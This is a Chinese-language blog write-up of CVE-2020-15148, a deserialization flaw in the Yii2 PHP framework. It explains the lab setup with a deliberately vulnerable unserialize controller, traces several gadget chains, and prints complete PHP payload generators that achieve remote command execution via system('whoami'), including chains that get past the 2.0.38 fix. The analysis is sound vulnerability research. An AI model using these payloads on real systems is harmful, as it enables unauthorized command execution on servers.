Yii2.0.37反序列化(CVE-2020-15148)

影响范围

Yii2 < 2.0.38

环境安装

https://github.com/yiisoft/yii2/releases/tag/2.0.37 file

下载解压后 更改/config/web.php文件17行cookieValidationKey 随便定义个值 file

进入目录

php yii server

启动yii程序 file

搭建成功

然后需要创建一个反序列化入口 file

通过这个控制器可以将我们传入的序列化字符串进行反序列化

通过

http://127.0.0.1/CmsSafe/yii2/web/index.php?r=serialize/serialize&data=

访问控制器

漏洞分析

一(Faild)

全局查找__destruct函数 file

在对象销毁前会调用__destruct函数

file 看到这个函数里调用了call_user_func函数 并且里边的参数是我们可以控制的 但是只能执行一些无参的函数 例如phpinfo 测试一下

<?php
namespace GuzzleHttp\Psr7{
    use Psr\Http\Message\StreamInterface;

    class FnStream{
        private $_fn_close;
        public function __construct()
        {
            $this->_fn_close='phpinfo';
        }
    }
}

namespace{

    use GuzzleHttp\Psr7\FnStream;

    echo urlencode(base64_encode(serialize(new FnStream())));
}

file

没看到这里有个wakeup file

file 不允许这个类反序列化 后边还有一堆限制 Failed

二(CVE-2020-15148)

继续全局查找__destruct函数 file

查看reset()函数

file $this->_dataReader是我们可控的 调用了close方法 此时需要了解一个方法

__call()方法 file

全局查找一下call方法 ![file](https://rainy-
autumn.top/wp-content/uploads/2021/05/image-1621318044580.png)

找到一个Generator类下的call方法

file

看一下format函数 file 里边存在call_user_func_array 就可能rce 然后再看一下getFormatter这个函数 file

formatter是format里传过来的参数 $this->formatters这个数组是我们可以控制的 看一下数组里边的formatter 最初是从__call中传过来的 是_call的method参数 这个参数等于close file

回到前边调用close方法 $this->_dataReader->close()

如果$this->_dataReader为Generator对象 那么调用close方法时因为Generator中不存在close方法所以会调用Generator中的__call方法而call的第一个参数就是被调用的方法名close

那我们序列化时就可以给$this->formatter定义为: $this->formatters[‘close’] =’phpinfo’;

这样return $this->formatters[$formatter]; 以为$formatter==close 随意放回的是phpinfo

file 所以这里的

return call_user_func_array($this->getFormatter($formatter), $arguments);

就变成

return call_user_func_array('phpinfo', $arguments);

这里因为$arguments不可控 所以这个call_user_func_array只能调用一些无参数的方法

先测试一下phpinfo

流程就是

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()    return phpinfo
↓↓↓
call_user_func_array('phpinfo', $arguments);

payload

<?php

namespace Faker{

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = 'phpinfo';
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo urlencode(base64_encode(serialize(new BatchQueryResult())));
}

file

然后接下来找可以rce的函数

用这个作为跳板 可以找一个无参的方法 利用正则查找

function \w+\(\) ?\n?\{(.*\n)+call_user_func

file CreateAction类下有个call_user_func file 并且参数全是我们可以控制的

开始rce

流程

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()
↓↓↓
class IndexAction  ->run()

payload

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

file

rce成功

$this->formatters[‘close’] = [new IndexAction(), ‘run’];

解释一下这里 这里的$this->formatters[‘close’] = [new IndexAction(), ‘run’];是返回给call_user_func()用的返回值是一个arry file

意思是调用IndexAction类下的run方法 file

其他反序列化链

yii>=2.0.38 修复了上边的反序列化链 file 禁止这个类反序列化

虽然禁止了这个类的反序列化 但是后边的序列化链还是存在的 需要再找个和这个类似的 全局查找 file

跟进stopProcess file

调用了isRunning() 这就和上边的一样了 如果调用了类中不存在的函数就会调用call方法 并且processes也是我们可以控制的 payload

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters ;
        public function __construct(){
            $this->formatters['isRunning']=[new IndexAction(),'run'];
        }

    }
}

namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes=[];
        public function __construct(){

            $this->processes[]=new Generator();
        }

    }
}

namespace{

    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

同样我们需要在控制层建立一个反序列化入口 file

其他反序列化链

当两个变量进行字符串拼接的时候,如果一个变量是一个对象,那么会调用这个对象中的toString方法 file

还是找__destruct() file

跟进clearAll

file 这里我自己测试是因为$itemKey它有错 会直接执行到下边的if也就是会调用is_dir并且进行字符串拼接 然后这里就是刚开始测试的如果拼接的一个变量是一个对象的话 会调用这个对象的toString方法,然后path也是我们可以控制的 接下来就是找一个合适的toString方法 全局查找 file 找到了这个会调用一个render方法 然后就是接着我们之前的链

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters ;
        public function __construct(){
            $this->formatters['render']=[new IndexAction(),'run'];
        }

    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    class Generic{
        protected $description;
        public function __construct()
        {
            $this->description=new Generator();
        }

    }
}

namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Generic;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->keys=array('hello'=>'world');
            $this->path=new Generic();
        }

    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

其他反序列化 2.0.37

还是利用2.0.37这个版本BatchQueryResult这个类中的destruct() 区别是之前那个是调用close方法因为类中不存在 所以会调用call方法 这个链是查找一个具体的close方法 刚开始找了个FnStream这个类中的 但是最后发现这个类不允许被反序列化 然后找到DbSession这个类 file

getIsActive无法利用 跟进composeFields file

如果writeCallback为真那么会调用call_user_func writeCallback是我们可以控制的

可以利用这个call_user_func来调用我们之前的run方法

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

Yii2.0.37反序列化(CVE-2020-15148)
http://example.com/2021/05/14/OldBlog/yii2-0-37反序列化(cve-2020-15148)/
作者
Autumn
发布于
2021年5月14日
许可协议